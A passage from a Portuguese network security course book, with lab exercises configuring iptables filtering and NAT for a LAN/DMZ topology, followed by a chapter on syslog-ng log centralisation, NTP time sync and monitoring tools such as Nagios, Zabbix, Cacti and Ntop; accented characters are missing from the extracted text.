-A INPUT m state -state ESTABLISHED,RELATED j ACCEPT

# Permite gerncia via SSH


-A INPUT -p tcp -s 10.1.G.10 --dport 22 m state -state
NEW,ESTABLISHED -j ACCEPT

# Permite PING
-A INPUT -p icmp -s 10.1.G.10 -m icmp -j ACCEPT
Para aplicar a configurao atualizada no arquivo:

# iptables-restore < /etc/iptables.up.rules


Para verificar as regras aplicadas no firewall:

Passo 7

Realize novamente o teste do Passo 6.

Passo 8

Acesse o firewall com o protocolo SSH a partir da mquina Windows XP utilizando o aplicativo Putty.

Captulo 3 - Roteiro de Atividades

FWGW1-A:~# iptables -L -n

75

Acesso atravs do firewall da rede local DMZ


Configure no firewall permisso de acesso somente dos pacotes originados nas mquinas da
rede local que atravessaro o firewall com destino aos servios da DMZ descritos na Figura 3.9.
Passo 1

A partir da mquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usurio aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2

Edite o arquivo de configurao do firewall para permitir as regras de


comunicao das mquinas da rede local com os servios da DMZ.
Adicione as seguintes regras:
# Permite as conexes estabelecidas
-A FORWARD -m state --state ESTABLISHED,RELATED j ACCEPT
# Acesso da Rede Local a DMZ

-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport


80 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
443 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
21 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
3389 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.20/32 --dport
123 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
80 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
5432 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
25 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
110 -j ACCEPT
-A FORWARD -p tcp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
22 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
53 -j ACCEPT
-A FORWARD -p udp -s 10.1.G.0/24 -d 172.16.G.10/32 --dport
123 -j ACCEPT

Segurana de Redes e Sistemas

Passo 3

76

Aplique a nova configurao ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules


Passo 4

Realize teste de conexo a partir da mquina Windows XP ao servidor web


do LinServer.

Passo 5

Conecte via SSH utilizando o aplicativo Putty no LinServer.

Acesso atravs do firewall da DMZ internet


Configure no firewall permisso de acesso somente dos pacotes originados nos servidores da
DMZ que atravessaro o firewall com destino internet.
Passo 1

A partir da mquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usurio aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2

Edite o arquivo de configurao do firewall para permitir as regras de


comunicao das mquinas da rede local com a internet.
Exemplo:

# Acesso a internet da DMZ


-A FORWARD -p tcp -s 172.16.G.0/24 -o eth0 -j ACCEPT
-A FORWARD -p udp -s 172.16.G.0/24 -o eth0 -j ACCEPT
Passo 3

Aplique a nova configurao no firewall com o comando:

# iptables-restore < /etc/iptables.up.rules


Realize teste de conexo a partir da mquina da rede DMZ. Por exemplo: verifique se o servidor LinServer estabelece conexo no repositrio do Debian,
para saber se existem atualizaes para os pacotes instalados no sistema,
com o comando:

# apt-get check-update
Observe que o acesso internet ainda no ser possvel por ainda faltar a
configurao da traduo de endereos (NAT).

Captulo 3 - Roteiro de Atividades

Passo 4

77

Acesso atravs do firewall da internet DMZ


Configure no firewall permisso de acesso somente dos pacotes originados na internet, que
atravessaro o firewall com destino aos servios da DMZ descritos na Figura 3.9.
Passo 1

A partir da mquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usurio aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2

Edite o arquivo de configurao do firewall para permitir as regras de


comunicao das mquinas da rede local com a internet.
Exemplo:

# Acesso da Internet a DMZ


-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 80 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 443 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 21 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.20/32 --dport 3389 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.20/32 --dport 123 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 80 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 5432 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 25 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 110 -j
ACCEPT
-A FORWARD -p tcp -i eth0 -d 172.16.G.10/32 --dport 22 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 53 -j
ACCEPT
-A FORWARD -p udp -i eth0 -d 172.16.G.10/32 --dport 123 -j
ACCEPT
Passo 3

Aplique a nova configurao no firewall com o comando:

Segurana de Redes e Sistemas

# iptables-restore < /etc/iptables.up.rules

78

Atividade 5 Controle de NAT


O principal objetivo desta atividade demonstrar o entendimento do funcionamento dos
tipos de NAT e aplic-los em uma simulao de caso real.
Utilizando os conceitos aprendidos, ser necessrio configurar o NAT no gateway FWGW1
para permitir o acesso internet das mquinas da rede local e da DMZ. Tambm ser necessria a configurao do NAT para publicao dos servios da DMZ na internet.
Qual tipo de NAT necessrio configurar em cada um dos casos?

1. Configure no firewall o tipo de NAT necessrio para permitir o acesso dos servidores da

DMZ internet.
Passo 1

A partir da mquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usurio aluno e mude para acesso privilegiado com o comando:
sudo su Carregue o mdulo de NAT:

# modprobe iptable_nat
Passo 2

Edite o arquivo de configurao do firewall para permitir as regras de comunicao de NAT das mquinas da rede local internet.
No incio do arquivo de configurao do firewall (/etc/iptables.up.rules),
adicione as seguintes linhas:

*nat
:PREROUTING ACCEPT
:POSTROUTING ACCEPT
:OUTPUT ACCEPT

# NAT de sada da rede DMZ para a internet


-A POSTROUTING -s 172.16.G.0/24 -o eth0 -j MASQUERADE
COMMIT
Passo 3

Aplique a nova configurao ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules


Realize teste de conexo a partir da mquina da rede DMZ: com o comando abaixo,
verifique se o servidor LinServer estabelece conexo no repositrio do Debian,
para saber se existem atualizaes para os pacotes instalados no sistema:

# apt-get update

Captulo 3 - Roteiro de Atividades

Passo 4

79

2. Configure no firewall o tipo de NAT necessrio para publicar os servios do LinServer da

DMZ na internet.
Passo 1

A partir da mquina Windows XP, acesse o firewall via SSH utilizando o Putty.
Entre com o usurio aluno e mude para acesso privilegiado utilizando:
sudo su -

Passo 2

Edite o arquivo de configurao do firewall para permitir as regras de comunicao de NAT necessrias para publicar os servios da DMZ na internet.
# NAT de Entrada da Internet para o LinServer da DMZ

-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j DNAT


--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 5432 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 25 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p tcp -m tcp --dport 110 -j DNAT
--to-destination 172.16.G.10
-A PREROUTING -i eth0 -p udp -m udp --dport 53 -j DNAT
--to-destination 172.16.G.10
Passo 3

Aplique a nova configurao ao firewall com o comando:

# iptables-restore < /etc/iptables.up.rules


Passo 4

Solicite a um colega de outro grupo para acessar os servios disponveis em sua


DMZ; necessrio passar o endereo IP pblico da publicao dos servios.

Atividade 6 Gerenciamento grfico do Firewall Builder


Baixe da internet a ltima verso de demonstrao de 30 dias do Firewall Builder. Instale o
aplicativo no host Windows XP.
Adicione o firewall FWGW1 como objeto e siga as orientaes iniciais do instrutor para
concluir as seguintes atividades:
11 Configure as regras de filtro de pacotes da atividade 1.1 e gere o arquivo de configurao.
Compare a sintaxe com as atividades j realizadas.
11 Configure as regras de NAT j aprendidas nas atividades anteriores e gere o arquivo de
configurao. Compare a sintaxe do arquivo gerado com as atividades j realizadas.

Atividade 7 Identificando as regras do firewall


As regras abaixo listadas so interessantes de serem utilizadas em um firewall com Iptables.

Segurana de Redes e Sistemas

Observe cada uma das regras abaixo e realize uma descrio sucinta do seu objetivo e uso.

80

-A INPUT p tcp ! syn m state --state NEW j DROP


-A INPUT f j DROP
-A INPUT p tcp --tcp-flags ALL ALL j DROP
-A INPUT p tcp --tcp-flags ALL NONE j DROP
-A INPUT s 127.0.0.1 i eth0 j DROP
-A INPUT ! s 172.16.G.0/24 i eth1 j DROP

4
Apresentar os servios fundamentais para buscar evidncias de problemas nos
sistemas computacionais em rede.

conceitos

Gerenciamento de logs, sincronismo de tempo e monitoramento de servios.

Introduo
Neste captulo, sero apresentadas tcnicas e tecnologias para o monitoramento de dispositivos
e recursos de redes. Ao final, o aluno ser capaz de compreender as tcnicas e realizar a configurao de ferramentas de sincronismo de tempo, centralizao de logs e monitoria de servios.
Este captulo no tem o objetivo de instruir o aluno na instalao dessas ferramentas;
para isso, recomendamos a consulta aos sites de cada ferramenta. Para a realizao das
atividades em laboratrio, as ferramentas sero instaladas com foco no entendimento de
seu funcionamento e configurao.

Exerccio de nivelamento 1 e
Servios bsicos de segurana
O que voc entende monitoramento dos recursos de redes?

O que so logs?

Gerenciamento de logs
11 Gerenciamento centralizado.

11 Requisitos de gerenciamento de logs.


11 Preservao dos registros em caso de falha do dispositivo.
11 Proteo contra sistemas ou usurios mal-intencionados.
O uso de servios de log centralizados importante para o gerenciamento de falhas nos dispositivos e no gerenciamento da segurana com a preservao do registro de eventos em

Captulo 4 - Servios bsicos de segurana

objetivos

Servios bsicos de segurana

81

casos de falhas de sistema ou comprometimento de algum dispositivo da rede. Cada organizao possui requisitos diferentes de gerenciamento de logs, que determinaro o detalhamento dos logs coletados, por quanto tempo sero armazenados e como sero analisados.
No gerenciamento de logs, o objetivo concentrar em um sistema todos os eventos dos equipamentos da rede, softwares de segurana, sistemas operacionais e aplicativos.
necessrio concentrar esforos para que esses dados no sejam comprometidos por sis-

temas mal-intencionados. Eles sero teis na anlise de incidentes de segurana ou falhas


computacionais. Para isso necessrio que o servidor de logs esteja protegido por um
sistema de controle de permetro, j mencionado nas sesses anteriores. Tambm necessria a realizao de uma configurao segura do servidor, o que ser visto adiante.

Syslog-ng

Source
como o syslog-ng vai receber as mensagens. Exemplo: Unix socks/dev/log ou outras
fontes.
Destination
para onde sero enviados ou guardados os logs recebidos pelo syslog-ng. Exemplo:
arquivo local, rede, SGDB Oracle, MySQL etc.
Log Paths
No syslog-ng podem ser definidas vrias origens e destinos. O objeto global log define
o destino de cada origem ou de um conjunto delas.
Filter
Os filtros do syslog-ng incrementam a forma como sero realizados os caminhos dos logs:
11 Syslog-ng como agente.
11 Syslog-ng como servidor.
O syslog-ng uma ferramenta distribuda com a licena de software livre, muito utilizada

atualmente. uma soluo que, pela sua qualidade do cdigo, permite a criao de um servidor de logs na rede para vrios clientes.
O syslog-ng uma implementao do protocolo Syslog, definido pela RFC 5424 The Syslog
Protocol. Essa RFC define o protocolo e uma srie de particularidades, incluindo a porta
padro do protocolo (UDP 514) e as facilidades e severidades. As facilidades so categorias
que indicam a origem da mensagem. Atravs delas possvel separar os registros de log em
arquivos separados, organizando melhor as informaes. A lista a seguir apresenta todas as

Segurana de Redes e Sistemas

facilidades definidas na RFC, com seus respectivos cdigos e siglas:

82

Cdigo

Nome

Sigla

kernel messages

kern

user-level messages

user

mail system

mail

system daemons

daemon

security/authorization messages

auth

messages generated internally by syslogd

syslog

Saiba mais
Para definir a estratgia
de logs, recomendamos
o artigo Guide to
Computer Security Log
Management, de Karen
Kent e Murugiah
Souppaya, do NIST
(National Institute
of Standarts and
Technology).

Cdigo

Nome

Sigla

line printer subsystem

lpr

network news subsystem

news

UUCP subsystem

uucp

clock daemon

cron

10

security/authorization messages

authpriv

11

FTP daemon

ftp

12

NTP subsystem

ntp

13

log audit

audit

14

log alert

alert

15

clock daemon

cron

16

local use 0

local0

17

local use 1

local1

18

local use 2

local2

19

local use 3

local3

20

local use 4

local4

21

local use 5

local5

22

local use 6

local6

23

local use 7

local7

Conforme j mencionado, alm das facilidades, temos ainda as severidades, que indicam
o nvel de profundidade do registro de log correspondente. As severidades definidas no

Cdigo

Descrio

Sigla

Emergency

emerg

Alert

alert

Critical

crit

Error

err

Warning

warning

Notice

notice

Informational

info

Debug

debug

Quando uma severidade 0 definida no sistema, significa que apenas as mensagens


emergenciais sero registradas. medida que o cdigo da severidade vai aumentando,
temos mais detalhes do sistema e por consequncia a quantidade dos registros aumenta

Captulo 4 - Firewall Conceitos e Implementao

padro esto na tabela abaixo:

83

at a severidade 7, onde todas as aes so registradas. A severidade 7 til no auxlio de


resoluo de problemas, como quando um determinado sistema no est se comportando
como se espera.
O syslog-ng suportado por ambientes heterogneos, podendo ser configurado em mquinas
Linux, BSD e Unix como agente e servidor. Quando o syslog-ng utilizado como agente ou
servidor, possvel que as mensagens sejam transmitidas de forma criptografada na rede.
possvel tambm sua configurao em sistemas MS Windows, mas somente como agente.
O syslog-ng configurado editando o arquivo de configurao syslog-ng.conf.

O conceito da configurao do syslog-ng definir os objetos globais, que so:


11 Source: como o syslog-ng vai receber as mensagens; como agente, ele pode receber
os logs do sistema do arquivo especial do Unix socks /dev/log ou outras fontes.
11 Destination: para aonde sero enviados ou guardados os logs recebidos pelo
syslog-ng; o destino pode ser um arquivo local, um servidor de Syslog na rede ou
at mesmo um servidor de banco de dados Oracle, MySQL, Microsoft SQL Server ou
outros destinos.
11 Log Paths: no syslog-ng podem ser definidas vrias origens e destinos; o objeto
global log define o destino de cada origem ou de um conjunto delas.
11 Filter: os filtros do syslog-ng incrementam a forma como sero realizados os caminhos dos logs; assim, uma origem ou um grupo de origens no precisa necessariamente ser encaminhado para um destino ou um grupo de destinos, sendo possvel
filtrar cada tipo de mensagem de origem e com base nesse filtro escolher o destino.
O fluxo do syslog-ng ter uma origem ou um conjunto delas, um filtro e um destino ou um
conjunto deles, conforme ilustra a prxima figura.

Destino 1

Origem 1

Origem 2

Filtro

Origem n

Destino 2

Destino n

Segurana de Redes e Sistemas

Syslog-ng como agente

84

Se, por exemplo, em um servidor Linux desejamos enviar todas as mensagens do


sistema e do prprio syslog-ng para um servidor syslog-ng da rede configurada com o
endereo IP 10.20.30.2 na porta UDP 514, teremos a seguinte sintaxe para o arquivo de
configurao syslog-ng.conf:

source s_local { unix-stream(/dev/log); internal(); };


destination d_syslog-server {udp(10.20.30.2 port(514)); };
log { source(s_local); destination(d_syslog-server); };

Figura 4.1
Fluxo syslog-ng.

Syslog-ng como servidor


Neste exemplo, teremos a sintaxe do arquivo de configurao do servidor syslog-ng

para receber as mensagens dos agentes. Dessa forma, o servidor est configurado para
receber as mensagens de syslog na porta UDP 514 e armazenar no arquivo do cliente
especfico do diretrio /var/log/agente.log, onde o termo agente ser substitudo pelo
hostname do agente:

source s_rede { udp(ip(10.20.30.2 port(514)); };


destination d_hosts-file {file(/var/log/$HOSTS.log); };
log { source(s_rede); destination(d_hosts-file); };
As facilidades podem ser configuradas no syslog-ng atravs dos filtros, como no exemplo
de configurao abaixo:

filter f_cron { facility(cron); };


log { source(s_local); filter (f_cron); destination (d_net); };
As severidades podem ser configuradas conforme o exemplo abaixo:

filter f_debug

{ level(debug); };

filter f_at_least_info { level(info..emerg); };

No exemplo anterior, verifica-se que pode ser criado um filtro contendo mais de uma severidade.

Exerccio de fixao 1 e
Gerenciamento de logs
Explique os objetivos do gerenciamento de logs.

Exerccio de fixao 2 e
Syslog

Logs do Windows
Os logs centralizados possibilitam a anlise de correlao de logs
11 http://www.syslog.org/wiki/Main/LogAnalyzers
11 http://www.ossec.net/
WinLogd um sistema capaz de capturar os logs do Microsoft Windows e envi-los para
o sistema de syslog Unix, como o syslog-ngUma vantagem importante da centralizao
de logs a possibilidade de analisar a correlao entre eles, de modo a confrontar logs de
diferentes origens e chegar a concluses interessantes sobre o funcionamento da rede.

Captulo 4 - Firewall Conceitos e Implementao

O que um syslog-ng?

85

Outra questo importante a ser considerada o registro de logs em sistemas Windows.


Infelizmente, o padro Syslog um padro Unix, de modo que os sistemas Windows no
o utilizam de forma nativa. Dessa forma, no possvel, utilizando apenas os recursos do
sistema operacional, redirecionar os registros de log gerados por um sistema Windows para
o syslog-ng, como foi feito antes para sistemas Unix. Apesar disso, existem algumas ferramentas que permitem a compatibilidade entre o sistema de logs do Windows e o syslog-ng.
Uma ferramenta simples e gratuita o Winlogd:
1. Baixe o winlogd.exe no site indicado e copie para o diretrio system32, dentro do diretrio

de instalao do Windows.
2. Execute winlogd i para fazer a instalao como um servio do Windows.
3. Configure o winlogd para enviar os logs para o servidor do syslog-ng, utilizando o registro

do Windows (regedit). Os parmetros so os seguintes (observe que 202 em hexadecimal


equivale a 514 em decimal e que o parmetro Server deve ser alterado para o endereo IP
do servidor syslog-ng):
3.1.[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\winlogd\Parameters]
3.2.Facility=local3

/* string para facilitar a identificao da origem dos logs no

servidor central */
3.3.Port=dword:00000202

/* porta UDP, que ser utilizada para envio dos logs: 514

a porta padro do syslog */


3.4.Server=192.168.42.7

/* /* endereo do servidor/local para aonde sero

enviados os logs */
4. Inicie o servio com o comando net start winlogd.
5. Configure o syslog-ng para receber os logs. Exemplo de configurao:

source s_net { udp(ip(192.168.42.2) port(514)); };


filter f_winlogd { facility(local3); };
destination d_winlogd { file(/var/log/winlogd); };
log { source(s_net); filter(f_winlogd); destination(d_winlogd); }
Qualquer mudana de configurao no winlogd para se tornar efetiva deve ser precedida do
reincio do servio, que pode ser feito com os seguintes comandos:

net stop winlogd

Segurana de Redes e Sistemas

net start winlogd

86

Plugins NTP:
11 NTPD
11 NetTime
O NTP pode ser configurado como servidor ou cliente. um protocolo para sincronizao
dos relgios dos computadores, baseado em uma fonte confivel: os relgios atmicos do
Observatrio Nacional, que definem a hora legal brasileira. Site do NTP: www.ntp.org.

Para indicaes de
analisadores de log:
http://www.syslog.org/
wiki .Um analisador e
correlacionador de logs
utilizado pela comunidade de segurana
o OSSEC.

O site armazena o projeto NTP, que desenvolve uma ferramenta de sincronizao de relgios para computadores Linux, Unix, VMS e Windows. O NTP pode ser configurado como
servidor, como cliente e/ou as duas funcionalidades ao mesmo tempo. Assim, podemos
buscar uma fonte de relgio externa, se assim desejarmos, e redistribuir essa fonte de hora
confivel para a configurao dos relgios das mquinas da rede interna. A configurao do
NTP ocorre com a edio do arquivo ntp.conf, localizado normalmente em /etc/ntp.conf nos
servidores Unix. Segue um exemplo de configurao do NTP utilizando como referncia os
relgios do Comit Gestor da Internet do Brasil (CGI.br):

# memria para o escorregamento de frequncia do micro


# pode ser necessrio criar esse arquivo manualmente com
# o comando touch ntp.drift
driftfile /etc/ntp.drift

# estatsticas do ntp que permitem verificar o histrico


# de funcionamento e gerar grficos
statsdir /var/log/ntpstats/
statistics loopstats peerstats clockstats
filegen loopstats file loopstats type day enable
filegen peerstats file peerstats type day enable
filegen clockstats file clockstats type day enable

# servidores pblicos do projeto ntp.br


server a.ntp.br iburst
server b.ntp.br iburst

# outros servidores
# server outro-servidor.dominio.br iburst

# configuraes de restrio de acesso


restrict default kod notrap nomodify nopeer

Para iniciar o NTP pela primeira vez, utilize o comando: # ntpd q g

Captulo 4 - Firewall Conceitos e Implementao

server c.ntp.br iburst

87

Dessa forma, o NTP ser forado a sincronizar o relgio local da mquina, mesmo que ele
esteja com diferena superior a 16 minutos do servidor NTP da rede. Aps iniciar o NTP, voc
pode deix-lo rodando na mquina como deamon, com o seguinte comando:

# ntpd
Para consultar o estado do aplicativo NTP, utilize o seguinte comando:

# ntpq -c pe
remote

refid

st t

when

poll

reach

delay

offset

jitter

==========================================================================
*b.ntp.br

200.20.186.76

2 u

64

34.838

-32.439

29.778

c.ntp.br

200.20.186.76

2 u

64

9.252

-33.407

4.105

A sada do comando inclui as seguintes informaes:


11 remote: nome ou IP da fonte de tempo.
11 refid: identificao da referncia (par do sistema) a qual o servidor de tempo remoto est
sincronizado.
11 st: o estrato da fonte de tempo.
11 when: quantos segundos se passaram desde a ltima consulta a essa fonte de tempo.
11 poll: intervalo em segundos de cada consulta a essa fonte.
11 reach: registrador de 8 bits, que vai girando para a esquerda, representado na forma
octal, que mostra o resultado das ltimas 8 consultas fonte de tempo: 377 = 11.111.111
significa que todas as consultas foram bem-sucedidas; outros nmeros indicam falhas;
375 = 11.111.101, por exemplo, indica que a penltima consulta falhou.
11 delay: tempo de ida e volta, em milissegundos, dos pacotes at essa fonte de tempo.
11 offset: deslocamento, ou quanto o relgio local tem de ser adiantado ou atrasado (em
milissegundos) para ficar igual ao da fonte de tempo.
11 jitter: a variao, em milissegundos, entre as diferentes medidas de deslocamento para
essa fonte de tempo.

Exerccio de fixao 3 e
Logs do Windows

Segurana de Redes e Sistemas

Explique como funciona o log no Windows?

88

Exerccio de fixao 4 e
NTP
O que um NTP?

Monitoramento de servios
As ferramentas de monitoramento so um subconjunto do universo de ferramentas

de gerenciamento que esto focadas em obter informaes sobre elementos de infraestrutura de TI. Entre as ferramentas de monitoramento, destacamos algumas com o
cdigo-fonte aberto e distribudo sob a licena GNU GPL.

Nagios
O Nagios uma ferramenta de gerenciamento que monitora os elementos e servios

de rede. Os dados so coletados atravs de testes que simulam o funcionamento de


aplicaes como: File Transfer Protocol (FTP); Secure Shell (SSH); Hypertext Transfer Protocol (HTTP); Simple Mail Transfer Protocol (SMTP); Post Office Protocol version 3 (POP3);
Network Time Protocol (NTP); Internet Control Message Protocol (ICMP); ou atravs de
plugins adicionais que podem ser desenvolvidos e integrados ao Nagios.
Diversos plugins esto disponveis na internet e podem ser utilizados pelo administrador
para testes mais completos. A interatividade com o administrador baseia-se no envio de
mensagem eletrnica, alerta no console e mensagem SMS para celulares sobre o problema ocorrido. O grande destaque dessa ferramenta a possibilidade de classificao de
grupos de usurios para receber relatrios e alertas do sistema. Por exemplo, o problema
de um determinado servidor pode ser comunicado ao responsvel pelo servio, bem
como para uma equipe responsvel pelos equipamentos ou ativos de rede. Toda a sua
configurao realizada em arquivos de texto e, a interface com o usurio, realizada em
um console web. possvel obter relatrios de disponibilidade e planejar aes corretivas
para os problemas ocorridos em equipamentos da rede. A figura a seguir apresenta a tela
principal do Nagios, onde se pode ter uma viso abrangente do estado dos servidores que
esto sendo monitorados pela ferramenta.

Captulo 4 - Firewall Conceitos e Implementao

Figura 4.2
Sumrio dos
eventos do Nagios.

89

Existe ainda o projeto Fully Automated Nagios (FAN), que tem por objetivo prover uma
instalao facilitada do Nagios e ferramentas auxiliares providas pela comunidade.
O projeto FAN disponibiliza inclusive uma imagem em CD-ROM (ISO), que facilita a instalao de um servidor Nagios.

Zabbix
O Zabbix uma ferramenta de gerenciamento que monitora os elementos e servios

de rede. Os dados so coletados atravs de consultas ao SNMP (Simple Network


Management Protocol), de ferramentas de testes que simulam o funcionamento das aplicaes FTP (File Transfer Protocol), SSH (Secure Shell), HTTP (Hypertext Transfer Protocol)
ou atravs de plugins adicionais que podem ser desenvolvidos e integrados ao Zabbix.
Todos os dados coletados pelo Zabbix so armazenados em uma base de dados SQL
(Structured Query Language), permitindo a gerao de relatrios pr-definidos e personalizados, e ainda a utilizao de ferramentas especializadas para gerar relatrios. Entre os relatrios padro gerados pelo Zabbix, temos os relatrios de disponibilidade, de nvel de servios,
de trfego de rede e de utilizao de recursos, como CPU (Central Processing Unit) e memria.
Toda a configurao do Zabbix realizada atravs de uma interface web clara e amigvel.
Os alarmes so emitidos no console web do usurio, via recursos de udio, mensagens
eletrnicas e/ou envio de SMS (Short Message Service) para aparelhos celulares. O Zabbix
permite a gerao de grficos on-line e oferece ao administrador a possibilidade de criar
mapas personalizados da rede. A seguir imagem de uma tela de monitoramento do Zabbix.

Segurana de Redes e Sistemas

Figura 4.3
Tela de monitoramento do Zabbix.

90

Cacti
Ferramenta de monitorao criada por Ian Berry. Surgiu como uma opo de frontend

(interface grfica com o usurio para interagir com programas) que apresenta os grficos
dos dados obtidos atravs de consultas SNMP ou de scripts. Esses dados so armazenados pelo Round-Robin Database Tool (RRDTool).

Round-Robin
Database Tool
Software que armazena
e mostra dados em
srie obtidos em um
determinado perodo de
tempo.

Figura 4.4
Configurao
do Cacti.

O Cacti disponibiliza um ambiente de configurao e operao agradvel e acessvel (interface web escrita em PHP), com controle de acesso por nvel de usurio. As informaes de
configurao so armazenadas em um banco de dados SQL. Sua arquitetura prev a possibilidade de expanso atravs de plugins, que adicionam novas funcionalidades, tornando-o
ainda mais completo. O Cacti muito usado em monitoramento de links WAN, por conta
da sua facilidade na criao de grficos para monitorar a banda nos links contratados por
operadoras. Apesar dessa funcionalidade importante, o Cacti pode ainda monitorar uma
srie de parmetros importantes, como consumo de CPU, memria e espao em disco, entre
outros. A sua capacidade de apresentar os dados de maneira grfica o torna um excelente

Figura 4.5
Exemplos de
grficos Cacti.

Captulo 4 - Firewall Conceitos e Implementao

complemento para o Nagios na tarefa de monitoramento.

91

Existe ainda uma verso facilitada, que oferece uma distribuio Linux com o Cacti
pr-instalado. Ela se chama CactiEZ e uma boa opo para iniciantes que querem
comear rapidamente a utilizao da ferramenta.

Ntop
O Network Traffic Probe (Ntop) uma ferramenta livre para anlise de trfego de rede.

Possui um servidor HTTP (Hypertext Transfer Protocol) e HTTPS (Hypertext Transfer


Protocol Secure) nativo, que apresenta uma srie de grficos do trfego e estatsticas da
rede. Possui ainda um modo interativo no console de texto. Principais objetivos:
11 Monitoramento e medida do trfego.
11 Planejamento e personalizao da rede.
11 Deteco de violaes na segurana.
Com desenvolvimento iniciado em 1998 por Luca Deri, o Ntop opera nas plataformas Unix
(incluindo Linux, BSD, Solaris e MacOSX) e Microsoft Windows. A coleta de informaes
feita atravs da anlise do trfego das informaes que passam pelas interfaces da rede
local. Principais caractersticas:
11 Suporte ao Cisco NetFlow/sFlow.
11 Identificao de sub-redes e seus usurios.
11 Suporte ao WAP (Wireless Application Protocol).
11 Ordenao de trfego.
A figura seguinte mostra a estrutura funcional do Ntop, seus mdulos e os itens que
completam a ferramenta:
11 Servidor web (HTPS/HTTPS).
11 Banco de dados (ODBC SQL).
11 Protocolos (UDP/SNMP).

Mquina de relatrio (servidor web)

Plugins (banco de dados)

Analisador de pacote

Regras de trfego (SNMP)


Investigador do pacote
Figura 4.6
Arquitetura
do Ntop.

Cabo Ethernet

Segurana de Redes e Sistemas

Avaliao das ferramentas

92

As ferramentas apresentadas podem ser classificadas em trs grupos:


11 Ferramentas de monitorao de servios, como Nagios e Zabbix.Ferramentas especializadas na gerao de grficos, como Cacti e Zabbix.Ferramentas de classificao
de trfego, como Ntop .
O Zabbix uma ferramenta com algumas caractersticas que permitem que ela seja classificada tambm como ferramenta especializada na gerao de grficos, ainda que estes
grficos possuam menos recursos funcionais que os grficos do Cacti.

Quase todas as ferramentas mencionadas so fceis de instalar. A configurao do Nagios


complexa por exigir a manipulao de vrios arquivos de texto. As demais ferramentas
possuem interface web para configurao, estando bem documentadas e com vrios artigos
de referncia publicados na internet.
Nagios

Zabbix

Cacti

Ntop

Open Source

Sim

Sim

Sim

Sim

Console web

Sim

Sim

Sim

Sim

Administrao web

No

Sim

Sim

Sim

Monitoramento de servios

Sim

Sim

Via plugin

No

Relatrios de disponibilidade

Sim

Sim

Via plugin

No

Coleta de dados SNMP

Via plugin

Sim

Sim

No

Monitoramento de recursos

Sim

Sim

Sim

No

Mapas de rede

Sim

Sim

Via plugin

Trfego

Classificao do trfego de rede

No

Via plugin

Via plugin

Sim

Coleta de Network Flows

No

No

No

Sim

Deteco de violaes de segurana

No

No

No

Sim

Vantagens do Cacti
Dentre as opes apresentadas, o Cacti foi escolhido para ser a ferramenta usada neste

curso, pelas seguintes razes:


11 Ser simples de usar e adequado para um ambiente de laboratrio.
11 Apresentar uma plataforma bem documentada.
11 Possuir um agente eficiente com possibilidade de expanso de caractersticas (uso de
registros gerados por ferramentas externas).
11 Possuir arquitetura modular, que permite a integrao de novos plug-ins.
11 Capacidade de gerar grficos.
11 Capacidade de coletar informaes por consultas SNMP.
Apesar das atividades prticas deste captulo trabalharem apenas com a ferramenta Cacti,
o aluno est convidado a questionar o instrutor sobre as outras ferramentas. As instrues apresentadas durante este captulo servem como ponto de partida para que o aluno
seja capaz de instalar e configurar qualquer uma das ferramentas apresentadas. Muitas
delas possuem verses pr-instaladas, em Live CDs, ou distribuies Linux customizadas
de fcil instalao.

Captulo 4 - Firewall Conceitos e Implementao

Figura 4.7
Comparao de
caractersticas das
ferramentas.

Caractersticas

93

94

Segurana de Redes e Sistemas

Roteiro de Atividades 4
Nas atividades deste roteiro, sero configurados os servios essenciais de gerenciamento
de hosts em uma rede, como servio de logs centralizado, servio de sincronizao de relgio
e monitoramento dos servios e recursos dos sistemas.

Internet

Topologia A

FWGW1

DHCP

Topologia B

FWGW1

DHCP

DMZ 172.16.1.0/24

Servidor
Linux

Servidor
Windows
Rede local 10.1.1.0/24

Host Windows
Figura 4.8
Topologias para
a realizao das
atividades deste
captulo

Servidor
Linux

Rede local 10.1.1.0/24

Host Windows

Atividade 1 Configurao do servidor de Syslog


